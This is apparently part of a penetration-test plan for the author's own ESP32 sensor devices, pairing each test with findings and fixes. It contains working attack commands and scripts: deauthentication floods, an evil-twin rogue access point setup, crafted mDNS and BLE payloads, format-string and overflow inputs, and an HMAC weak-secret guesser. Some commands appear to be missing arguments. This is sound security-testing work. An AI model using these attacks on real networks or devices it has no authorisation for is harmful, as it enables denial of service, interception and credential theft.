Uptime-Based Timestamp Prediction | Field | Value | |-------|-------| | **Tests** | Whether device uptime is predictable enough to pre-compute valid HMAC timestamps | | **Tools** | `ncat`, timing measurement | | **Finding** | Uptime is in STATUS response (no auth needed); attacker can sync timestamp trivially | | **Fix** | Require auth for STATUS (or at least the uptime field) | ```bash # Get precise uptime from unauthenticated STATUS echo "STATUS" | ncat -u -w1 192.168.129.29 5501 # The response includes "uptime=12345s" # Attacker now knows exact device uptime, can pre-compute HMAC timestamps. # Combined with a captured or brute-forced secret, this enables authenticated attacks. ``` --- ## 8. Dependency and CVE Analysis ### 8.1 ESP-IDF Version CVE Check | Field | Value | |-------|-------| | **Tests** | Known vulnerabilities in ESP-IDF v5.5.2 and bundled components | | **Tools** | Espressif security advisories, CVE databases | | **Finding** | Specific ESP-IDF CVEs that affect this version | | **Fix** | Update ESP-IDF; apply patches; enable mitigations | ```bash # Check ESP-IDF version from firmware strings /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin \ | grep -i 'v5\.' | head -5 # Check Espressif security advisories # https://www.espressif.com/en/security/advisories # Key CVEs to check for ESP-IDF <= 5.5.x: # CVE-2024-45479: ESP-IDF BLE stack buffer overflow (NimBLE) # CVE-2023-28631: WiFi PMF bypass # CVE-2023-35831: Secure boot bypass on ESP32 V1 # CVE-2024-23723: mDNS parsing vulnerabilities # Check component versions from build cat /home/user/git/esp32-hacking/get-started/csi_recv_router/build/project_description.json \ 2>/dev/null | python3 -m json.tool | grep -i version # Check managed component versions cat /home/user/git/esp32-hacking/get-started/csi_recv_router/dependencies.lock \ 2>/dev/null ``` ### 8.2 mDNS Component Vulnerabilities | Field | Value | |-------|-------| | **Tests** | mDNS parsing bugs, DNS rebinding, response injection | | **Tools** | Crafted mDNS packets via `scapy` | | **Finding** | mDNS library may be vulnerable to crafted responses | | **Fix** | Update espressif/mdns component; restrict mDNS to query-only if advertisement not needed | ```python #!/usr/bin/env python3 """mdns_probe.py -- Send crafted mDNS queries/responses to test parser robustness.""" from scapy.all import * TARGET = "192.168.129.29" # Craft an oversized mDNS response with many answers dns_response = DNS( id=0x0000, qr=1, opcode=0, aa=1, rd=0, qd=None, an=DNSRR(rrname="_esp-csi._udp.local.", type="PTR", ttl=4500, rdata="evil-sensor._esp-csi._udp.local.") / DNSRR(rrname="evil-sensor._esp-csi._udp.local.", type="SRV", ttl=4500, rdata=b'\x00\x00\x00\x00\x15\xb3' + b'\x07' + b'A' * 200 + b'\x05local\x00') / DNSRR(rrname="A" * 255 + ".local.", type="A", ttl=4500, rdata="1.2.3.4"), ) # Send as multicast mDNS (224.0.0.251:5353) pkt = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / dns_response send(pkt, verbose=True) print("Sent crafted mDNS response -- check if device is still responsive") # Verify device health import socket, time time.sleep(1) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(2) s.sendto(b"PING", (TARGET, 5501)) try: resp = s.recvfrom(1500) print(f"Device alive: {resp[0]}") except: print("[!] Device not responding after mDNS injection!") s.close() ``` --- ### 8.3 NimBLE Stack Analysis | Field | Value | |-------|-------| | **Tests** | BLE stack vulnerabilities; advertisement parsing bugs | | **Tools** | `bleak` (Python BLE library), second ESP32 as BLE beacon | | **Finding** | Crafted BLE advertisements could trigger parsing bugs in NimBLE | | **Fix** | Update ESP-IDF; validate all BLE advertisement fields before parsing | ```python #!/usr/bin/env python3 """ble_scan_target.py -- Check what the ESP32's BLE scan exposes.""" import asyncio from bleak import BleakScanner async def scan(): """Scan for ESP32 devices' BLE presence.""" devices = await BleakScanner.discover(timeout=10.0) for d in devices: # ESP32 in scan-only mode shouldn't be advertising # If it IS advertising, that's a finding print(f" {d.address} RSSI={d.rssi} Name={d.name}") if d.name and "esp" in d.name.lower(): print(f" [!] ESP32 device advertising: {d.name}") asyncio.run(scan()) ``` The firmware uses BLE in **passive scan mode only** (no advertising), so the ESP32 should NOT appear in BLE scans. If it does, that indicates a misconfiguration. To test BLE advertisement parsing robustness, use a second ESP32 programmed to send crafted advertisements with oversized fields, malformed company IDs, etc. --- ## 9. Wireless Attacks ### 9.1 WiFi Adapter Requirements For WiFi attacks (sections 9.2-9.5), you need a USB WiFi adapter that supports **monitor mode** and **packet injection**. The Raspberry Pi 5's built-in WiFi does NOT support monitor mode. Recommended adapters (all work on RPi5): - **Alfa AWUS036ACH** (RTL8812AU) -- 2.4/5 GHz, excellent injection - **Alfa AWUS036ACHM** (MediaTek MT7612U) -- reliable, good range - **TP-Link TL-WN722N v1** (AR9271) -- 2.4 GHz only, cheap, proven ```bash # Check if adapter supports monitor mode sudo iw list | grep -A 10 "Supported interface modes" # Should include "monitor" # Enable monitor mode sudo ip link set wlan1 down sudo iw dev wlan1 set type monitor sudo ip link set wlan1 up # Or using airmon-ng sudo airmon-ng start wlan1 ``` --- ### 9.2 Deauthentication Flood | Field | Value | |-------|-------| | **Tests** | PMF effectiveness; deauth flood detection; sensor resilience | | **Tools** | `aireplay-ng`, `mdk4` | | **Finding** | Device disconnects and fails to collect CSI during attack = DoS confirmed | | **Fix** | PMF already enabled (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`); verify router also enforces PMF | The firmware has `CONFIG_ESP_WIFI_PMF_REQUIRED=y`, which should prevent deauth attacks IF the router also supports PMF. This test verifies end-to-end protection. ```bash # Step 1: Find the target network and channel sudo airodump-ng wlan1mon # Step 2: Targeted deauth against one sensor # BSSID = router MAC, STATION = ESP32 MAC sudo aireplay-ng -0 100 -a -c wlan1mon # Step 3: Broader deauth flood sudo mdk4 wlan1mon d -c # Step 4: Monitor sensor's deauth flood detection # (The firmware detects deauths in promiscuous mode and emits ALERT_DATA) sudo tcpdump -i eth0 -A 'udp port 5500' | grep ALERT_DATA # Step 5: Check if sensor stays connected echo "STATUS" | ncat -u -w2 192.168.129.29 5501 # If no response, the deauth attack succeeded in disconnecting the sensor ``` **What a finding looks like:** - Sensor goes offline during deauth flood = PMF not enforced by router - `ALERT_DATA` messages appear = detection works but connection still drops - Sensor stays connected = PMF is properly enforced end-to-end --- ### 9.3 Evil Twin / Rogue AP | Field | Value | |-------|-------| | **Tests** | Whether the ESP32 will connect to a rogue AP with the same SSID | | **Tools** | `hostapd`, `dnsmasq` | | **Finding** | ESP32 connects to rogue AP = WiFi credential theft + MITM | | **Fix** | WPA3-SAE (immune to evil twin); BSSID pinning in firmware | ```bash # Step 1: Create hostapd config for rogue AP cat > /tmp/hostapd-evil.conf << 'EOF' interface=wlan1 driver=nl80211 ssid=TARGET_SSID_HERE hw_mode=g channel=6 wpa=2 wpa_passphrase=TARGET_PSK_HERE wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP EOF # Step 2: Set up DHCP for captured clients cat > /tmp/dnsmasq-evil.conf << 'EOF' interface=wlan1 dhcp-range=192.168.100.10,192.168.100.50,12h dhcp-option=3,192.168.100.1 dhcp-option=6,192.168.100.1 EOF # Step 3: Configure interface sudo ip addr add 192.168.100.1/24 dev wlan1 # Step 4: Start evil twin sudo hostapd /tmp/hostapd-evil.conf & sudo dnsmasq -C /tmp/dnsmasq-evil.conf & # Step 5: Deauth the ESP32 from the real AP to force reconnection sudo aireplay-ng -0 10 -a -c wlan1mon # Step 6: Wait for ESP32 to connect to evil twin # Monitor hostapd output for association # If ESP32 connects, you now have MITM position # Cleanup: sudo killall hostapd dnsmasq ``` The firmware uses `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y`, which means it will attempt WPA3-SAE first and fall back to WPA2-PSK. The evil twin test must use the correct PSK. With WPA3, the evil twin attack is significantly harder because SAE prevents offline dictionary attacks and the attacker would need the actual PSK. --- ### 9.4 Probe Request Harvesting | Field | Value | |-------|-------| | **Tests** | What the ESP32 reveals in its own probe requests when scanning | | **Tools** | `airodump-ng`, `tcpdump` in monitor mode | | **Finding** | ESP32 probe requests may reveal the target SSID | | **Fix** | Use directed scans only; minimize probing | ```bash # Capture probe requests from ESP32 devices sudo airodump-ng wlan1mon --output-format csv -w /tmp/probes # Or with tcpdump: sudo tcpdump -i wlan1mon -e 'type mgt subtype probe-req' -nn # Look for the ESP32's MAC address in probe requests # ESP32-WROOM-32 OUI: varies by chip, check with: echo "STATUS" | ncat -u -w1 192.168.129.29 5501 | grep -i mac ``` --- ### 9.5 BLE Attacks | Field | Value | |-------|-------| | **Tests** | BLE advertisement spoofing to inject fake data into the sensor's BLE scanner | | **Tools** | Second ESP32, `hcitool`, `bluetoothctl`, `bleak` | | **Finding** | Fake BLE advertisements accepted as legitimate device sightings | | **Fix** | Validate BLE data at the collector level; add anomaly detection | The firmware runs BLE in **passive scan mode only** -- it receives advertisements but does not advertise or accept connections. The attack surface is limited to injecting fake advertisement data that gets reported to the collector. ```bash # Using the Pi's built-in Bluetooth to send crafted advertisements: # (Requires BlueZ tools) # Set up advertising with a specific company ID to test fingerprinting sudo hciconfig hci0 up sudo hcitool -i hci0 cmd 0x08 0x0008 \ 1E 02 01 06 03 03 AA FE 17 16 AA FE 10 00 02 \ 77 65 62 00 01 02 03 04 05 06 07 08 09 0A 0B # Better: use a second ESP32 programmed as a BLE beacon with specific data # to test the firmware's BLE advertisement parser for: # - Oversized advertisement data (>31 bytes in extended advertising) # - Malformed company_id fields # - Extremely long device names # - Invalid BLE flags ``` For BLE fuzzing with a second ESP32: ```c /* ble_fuzz_beacon.c -- Minimal ESP32 program to send crafted BLE ads */ /* Flash to a second ESP32 and place near the target sensor */ #include "esp_bt.h" #include "esp_gap_ble_api.h" /* Oversized manufacturer data to test parser bounds */ static uint8_t adv_data[] = { 0x02, 0x01, 0x06, /* Flags */ 0xFF, /* Length (255 -- oversized!) */ 0xFF, 0x4C, 0x00, /* Apple company ID */ /* ... fill with 250 bytes of garbage */ }; /* Set this as raw advertising data via esp_ble_gap_config_adv_data_raw() */ ``` --- ## 10. Automated Test Scripts ### 10.1 Complete Pentest Runner ```bash #!/usr/bin/env bash # esp32-pentest.sh -- Automated pentest suite for ESP32 CSI sensors # Usage: ./esp32-pentest.sh [secret] set -euo pipefail TARGET="${1:?Usage: $0 [secret]}" SECRET="${2:-}" PORT=5501 RESULTS="/tmp/esp32-pentest-$(date +%Y%m%d-%H%M%S).log" log() { printf "[%s] %s\n" "$(date +%H:%M:%S)" "$*" | tee -a "$RESULTS"; } log "=== ESP32 Pentest: $TARGET ===" # Test 1: Unauthenticated information disclosure log "--- Test 1: Information Disclosure ---" for cmd in STATUS CONFIG PROFILE HELP PING; do resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true) if [ -n "$resp" ]; then log " $cmd: $(echo "$resp" | head -c 120)" else log " $cmd: " fi done # Test 2: Unauthenticated state modification log "--- Test 2: Unauth State Modification ---" for cmd in "CSI OFF" "PRESENCE OFF" "LOG NONE" "RATE 10" "ALERT OFF"; do resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true) if echo "$resp" | grep -q "^OK"; then log " [VULN] $cmd accepted without auth: $resp" elif echo "$resp" | grep -q "ERR AUTH"; then log " [SAFE] $cmd requires auth" else log " [????] $cmd response: $resp" fi done # Restore settings echo "CSI ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true echo "PRESENCE ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true echo "LOG INFO" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true # Test 3: Input validation log "--- Test 3: Input Validation ---" for payload in \ "RATE -1" "RATE 999999" "RATE 0" \ "POWER -1" "POWER 100" \ "HOSTNAME $(python3 -c 'print("A"*100)')" \ "HOSTNAME %x%x%n" \ "" \ "$(python3 -c 'print("X"*191)')"; do resp=$(echo "$payload" | ncat -u -w1 "$TARGET" "$PORT" 2>/dev/null || true) log " Input: $(echo "$payload" | head -c 40)... -> $(echo "$resp" | head -c 80)" done # Test 4: mDNS enumeration log "--- Test 4: mDNS Discovery ---" mdns_result=$(avahi-browse -art 2>/dev/null | grep -A2 '_esp-csi' || echo "") log " mDNS: $mdns_result" # Test 5: Port scan log "--- Test 5: Port Scan ---" nmap_result=$(nmap -sU -p 5500,5501,5353 --open "$TARGET" 2>/dev/null | grep "open" || true) log " Open ports: $nmap_result" log "=== Results saved to $RESULTS ===" ``` ### 10.2 HMAC Brute-Force Test (Secret Entropy Validation) ```python #!/usr/bin/env python3 """hmac_bruteforce.py -- Test whether auth secret has sufficient entropy. This is NOT a practical brute-force attack (128-bit secret has 2^128 keyspace). It tests edge cases: short secrets, predictable secrets, known-weak patterns. """ import hashlib import hmac import socket import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29" PORT = 5501 # Get device uptime for valid timestamp sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2.0) sock.sendto(b"STATUS", (TARGET, PORT)) resp = sock.recvfrom(1500)[0].decode() uptime = 0 for field in resp.split(): if field.startswith("uptime="): uptime = int(field.split("=")[1].rstrip("s")) print(f"Device uptime: {uptime}s") # Test common/weak secrets WEAK_SECRETS = [ "", # Empty (auth disabled) "secret", # Common default "password", # Common default "admin", # Common default "12345678", # Numeric "0" * 32, # All zeros "f" * 32, # All f's "deadbeefdeadbeefdeadbeefdeadbeef", # Classic test pattern "test", # Development leftover ] print(f"\nTesting {len(WEAK_SECRETS)} weak secrets...") for secret in WEAK_SECRETS: payload = f"{uptime}:STATUS" digest = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest() cmd = f"HMAC:{digest[:32]}:{payload}".encode() sock.sendto(cmd, (TARGET, PORT)) try: resp = sock.recvfrom(1500)[0].decode() if "ERR AUTH" not in resp: print(f" [!] SECRET FOUND: '{secret}' -> {resp[:60]}") break # else: expected failure except socket.timeout: pass import time; time.sleep(0.06) else: print(" [+] No weak secrets found (good)") sock.close() ``` --- ## Summary: Attack Priority Matrix | Priority | Attack | Difficulty | Impact | Tools Needed | |----------|--------|-----------|--------|-------------| | P0 | Unauth command abuse (3.3) | Trivial | High -- blind sensors | `ncat` | | P0 | OTA MITM (6.1) | Easy | Critical -- RCE | HTTP server, ARP spoof | | P1 | Flash dump (5.2) | Easy (physical) | Critical -- all secrets | USB cable, `esptool.py` | | P1 | NVS extraction (4.3) | Easy (physical) | High -- auth secret | USB cable, `esptool.py` | | P1 | UART capture (5.1) | Easy (physical) | High -- auth secret prefix | Serial adapter | | P1 | Data injection (3.5) | Easy | Medium -- fake data | Python socket | | P2 | Nonce cache overflow (3.2) | Medium | Medium -- replay auth cmds | Python HMAC | | P2 | Deauth flood (9.2) | Medium | Medium -- DoS | Monitor-mode adapter | | P2 | Evil twin (9.3) | Hard | High -- MITM | Monitor-mode adapter | | P2 | mDNS recon (2.1) | Trivial | Low -- info disclosure | `avahi-browse` | | P3 | UDP fuzzing (2.4) | Easy | Varies -- crash = high | Python | | P3 | BLE injection (9.5) | Medium | Low -- fake data | Second ESP32 | | P3 | JTAG access (5.3) | Hard (soldering) | Critical -- full debug | JTAG adapter | | P3 | Timing oracle (3.1) | Hard | Low -- already mitigated | Python | | P3 | Firmware RE (4.1, 4.2) | Easy | Info -- aids other attacks | `strings`, `binwalk` | --- ## Quick Reference: Files and Paths | Item | Path | |------|------| | Firmware source | `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` | | Binary | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin` | | ELF | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf` | | sdkconfig | `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults` | | Partitions | `/home/user/git/esp32-hacking/get-started/csi_recv_router/partitions.csv` | | Security audit | `/home/user/git/esp32-hacking/SECURITY-AUDIT.md` | | esp-ctl auth | `/home/user/git/esp-ctl/src/esp_ctl/auth.py` | | NVS tool | `$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py` | | Sensors | `192.168.129.29` (muddy-storm), `.30` (amber-maple), `.31` (hollow-acorn) |